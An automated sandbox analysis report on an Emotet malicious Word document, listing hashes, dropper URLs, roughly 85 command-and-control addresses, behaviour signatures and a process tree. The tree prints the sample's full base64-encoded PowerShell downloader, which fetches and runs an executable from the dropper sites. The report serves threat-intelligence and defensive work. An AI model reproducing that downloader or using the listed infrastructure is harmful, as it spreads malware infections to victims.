emotet | c3a7d5b2f6ea43627aaee64c97b476bdf3518031edc9a70d3b9a4e9849a1ecbb

General

Target
emotet_e2_c3a7d5b2f6ea43627aaee64c97b476bdf3518031edc9a70d3b9a4e9849a1ecbb_2020-08-22__122614._doc.doc
Size 238KB
Sample200822-w3p6e3ynba
SHA256 c3a7d5b2f6ea43627aaee64c97b476bdf3518031edc9a70d3b9a4e9849a1ecbb
MD5 da1be645e6cca99d1eea1c8f8264d919
SHA1 d6ead4a55c5022ba489bf82bbff4e01fda48bdb1
SHA512 70fdf1f40a85e51ac5a8cf51cb11361370e740c746fe097b031f429a5165edea450da6e0482c7103fde5e70ab3185b1d28241e6dee902db8f1f32c395d77574b
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://saimission.org/sai/fU/
exe.dropper
https://toprakmedia.com/cgi-bin/F/
exe.dropper
http://tonmeister-berlin.de/Dokumente/Zqmb3/
exe.dropper
http://www.essand.com/test/SOx5LA/
exe.dropper
http://gzamora.es/9s52_ou17husakvth9fs_resource/sFe3aa/
exe.dropper
http://powerfrog.net/Anna/ifqE/
exe.dropper
http://sasystemsuk.com/recruit/H/

Extracted

Family

emotet

C2

137.119.36.33:80
116.202.234.183:8080
69.30.203.214:8080
204.197.146.48:80
87.106.136.232:8080
153.163.83.106:80
91.211.88.52:7080
93.147.212.206:80
222.214.218.37:4143
189.212.199.126:443
203.153.216.189:7080
83.169.36.251:8080
188.83.220.2:443
104.236.246.93:8080
173.62.217.22:443
5.196.74.210:8080
68.188.112.97:80
139.130.242.43:80
61.19.246.238:443
24.179.13.119:80
157.245.99.39:8080
116.203.32.252:8080
203.117.253.142:80
75.139.38.211:80
41.60.200.34:80
2.58.16.85:7080
199.101.86.142:8080
169.239.182.217:8080
209.141.54.221:8080
121.124.124.40:7080
67.205.85.243:8080
79.98.24.39:8080
85.105.205.77:8080
200.41.121.90:80
185.94.252.104:443
24.233.112.152:80
37.187.72.193:8080
89.186.91.200:443
47.144.21.12:443
103.86.49.11:8080
95.179.229.244:8080
190.55.181.54:443
113.160.130.116:8443
62.75.141.82:80
47.146.117.214:80
187.161.206.24:80
104.131.44.150:8080
109.74.5.95:8080
200.114.213.233:8080
139.59.60.244:8080
81.2.235.111:8080
174.137.65.18:80
24.43.99.75:80
201.173.217.124:443
137.59.187.107:8080
46.105.131.79:8080
70.121.172.89:80
78.24.219.147:8080
74.120.55.163:80
85.152.162.105:80
93.51.50.171:8080
98.109.204.230:80
104.131.11.150:443
95.213.236.64:8080
153.232.188.106:80
176.111.60.55:8080
74.208.45.104:8080
174.102.48.180:80
190.160.53.126:80
152.168.248.128:443
180.92.239.110:8080
37.139.21.175:8080
157.147.76.151:80
167.86.90.214:8080
24.137.76.62:80
112.185.64.233:80
5.39.91.110:7080
87.106.139.101:8080
97.82.79.83:80
85.66.181.138:80
181.230.116.163:80
37.70.8.161:80
110.145.77.103:80
168.235.67.138:7080
68.44.137.144:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2856	628	powersheLL.exe	66

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3912-14-0x00000000001F0000-0x00000000001FC000-memory.dmp	emotet
behavioral2/memory/3912-14-0x00000000001F0000-0x00000000001FC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
18	2856	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3912	Vqio430.exe
2756	WinMsoIrmProtector.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msimsg\WinMsoIrmProtector.exe	Vqio430.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2856	powersheLL.exe
2856	powersheLL.exe
2856	powersheLL.exe
2756	WinMsoIrmProtector.exe
2756	WinMsoIrmProtector.exe
2756	WinMsoIrmProtector.exe
2756	WinMsoIrmProtector.exe
2756	WinMsoIrmProtector.exe
2756	WinMsoIrmProtector.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE
3908	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 3912	2856	powersheLL.exe	74
PID 2856 wrote to memory of 3912	2856	powersheLL.exe	74
PID 2856 wrote to memory of 3912	2856	powersheLL.exe	74
PID 3912 wrote to memory of 2756	3912	Vqio430.exe	77
PID 3912 wrote to memory of 2756	3912	Vqio430.exe	77
PID 3912 wrote to memory of 2756	3912	Vqio430.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_c3a7d5b2f6ea43627aaee64c97b476bdf3518031edc9a70d3b9a4e9849a1ecbb_2020-08-22__122614._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3908

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABQAGIAZABiAGQAdQA0AD0AKAAnAFYAcgB6ACcAKwAnAHMAdQBuAGcAJwApADsAJgAoACcAbgBlACcAKwAnAHcAJwArACcALQBpAHQAZQBtACcAKQAgACQARQBOAHYAOgB0AGUATQBwAFwAbwBmAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAcgBgAEkAdABZAGAAUAByAE8AYABUAE8AYwBPAEwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0AGwAcwAnACsAJwAxACcAKwAnADEALAAgAHQAbABzACcAKQA7ACQARwB4AHcAawA5AG4AMwAgAD0AIAAoACcAVgBxAGkAbwA0ACcAKwAnADMAJwArACcAMAAnACkAOwAkAE4AawBoAHMAbABnADUAPQAoACcATABqACcAKwAnAG0AOQBtACcAKwAnAG0AeAAnACkAOwAkAEUAbQB3AG8ANQBvAHYAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGsAegBFACcAKwAnAE8AZgBmACcAKwAnAGkAYwBlACcAKwAnADIAMAAxADkAJwArACcAawB6AEUAJwApAC4AIgBSAGUAUABsAGAAQQBgAEMAZQAiACgAKABbAGMAaABBAHIAXQAxADAANwArAFsAYwBoAEEAcgBdADEAMgAyACsAWwBjAGgAQQByAF0ANgA5ACkALAAnAFwAJwApACkAKwAkAEcAeAB3AGsAOQBuADMAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAE8AZAB1AG0AMQBjAG4APQAoACcATAAnACsAJwBmACcAKwAnAHEAcgBmAG8AMwAnACkAOwAkAFgAaABnAG8AMQBwAGYAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAGIAYwBMAEkARQBOAFQAOwAkAEsAYwBnAHAAZQA5AHEAPQAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwBzACcAKwAnAGEAJwArACcAaQBtAGkAJwArACcAcwBzAGkAbwBuAC4AJwArACcAbwByAGcALwAnACsAJwBzACcAKwAnAGEAaQAvACcAKwAnAGYAVQAvACoAaAB0AHQAcABzADoALwAvAHQAbwBwAHIAYQBrAG0AJwArACcAZQBkAGkAYQAuAGMAbwBtAC8AYwAnACsAJwBnACcAKwAnAGkAJwArACcALQAnACsAJwBiAGkAJwArACcAbgAnACsAJwAvAEYAJwArACcALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AdABvAG4AbQBlACcAKwAnAGkAcwAnACsAJwB0AGUAcgAtAGIAZQAnACsAJwByAGwAJwArACcAaQBuAC4AZABlACcAKwAnAC8ARAAnACsAJwBvACcAKwAnAGsAdQBtACcAKwAnAGUAbgB0AGUALwBaAHEAJwArACcAbQAnACsAJwBiADMALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AdwAnACsAJwB3ACcAKwAnAHcAJwArACcALgBlAHMAcwAnACsAJwBhAG4AZAAnACsAJwAuACcAKwAnAGMAbwBtACcAKwAnAC8AJwArACcAdAAnACsAJwBlAHMAdAAvAFMATwAnACsAJwB4ADUAJwArACcATABBAC8AKgBoAHQAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvACcAKwAnAGcAegAnACsAJwBhAG0AJwArACcAbwByAGEAJwArACcALgBlAHMALwA5AHMANQAyAF8AJwArACcAbwAnACsAJwB1ADEAJwArACcANwBoAHUAcwBhACcAKwAnAGsAdgB0ACcAKwAnAGgAJwArACcAOQBmAHMAXwByAGUAcwBvACcAKwAnAHUAJwArACcAcgAnACsAJwBjAGUALwBzAEYAZQAnACsAJwAzAGEAYQAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwAnACsAJwBwAG8AdwBlAHIAZgByACcAKwAnAG8AZwAuAG4AZQB0AC8AJwArACcAQQBuACcAKwAnAG4AYQAvAGkAZgBxAEUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAHMAeQBzAHQAZQAnACsAJwBtACcAKwAnAHMAJwArACcAdQBrAC4AYwBvAG0ALwAnACsAJwByAGUAYwAnACsAJwByAHUAaQAnACsAJwB0AC8AJwArACcASAAnACsAJwAvACcAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABCAGUAdAA1AG4AawBoAD0AKAAnAFEAJwArACcAdgBjAGwAYQBqAGYAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATQBpADQAMAAwAHAAbgAgAGkAbgAgACQASwBjAGcAcABlADkAcQApAHsAdAByAHkAewAkAFgAaABnAG8AMQBwAGYALgAiAGQAYABPAHcAYABOAEwAbwBgAEEAZABmAGkAbABlACIAKAAkAE0AaQA0ADAAMABwAG4ALAAgACQARQBtAHcAbwA1AG8AdgApADsAJABVAHgANgB6AGgAdwBrAD0AKAAnAFgAJwArACcAbQBiACcAKwAnAGcAMgBtADAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEUAbQB3AG8ANQBvAHYAKQAuACIATABgAGUATgBnAHQAaAAiACAALQBnAGUAIAAyADEAMgA2ADIAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAJwArACcAbwBrAGUALQBJAHQAZQBtACcAKQAoACQARQBtAHcAbwA1AG8AdgApADsAJABOADYAaAA0ADUAaQBqAD0AKAAnAFgAMQBlAF8AYwAnACsAJwA2ACcAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABZAHoAdAB0AGMAeABxAD0AKAAnAEMAOABiAGoAYQAnACsAJwA4AGsAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADUAdABvADkAMQAwAD0AKAAnAFAAJwArACcANABrADgAJwArACcAZgBxADYAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Users\Admin\AppData\Local\Temp\Office2019\Vqio430.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Vqio430.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\SysWOW64\msimsg\WinMsoIrmProtector.exe
    "C:\Windows\SysWOW64\msimsg\WinMsoIrmProtector.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2756

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2856-8-0x00007FF9BADD0000-0x00007FF9BB7BC000-memory.dmp

Download

memory/2856-9-0x000001F2F3010000-0x000001F2F3011000-memory.dmp

Download

memory/2856-10-0x000001F2F31C0000-0x000001F2F31C1000-memory.dmp

Download

memory/3908-0-0x00007FF9C25C0000-0x00007FF9C2C86000-memory.dmp

Download

memory/3908-4-0x0000017ADB913000-0x0000017ADB971000-memory.dmp

Download

memory/3912-14-0x00000000001F0000-0x00000000001FC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads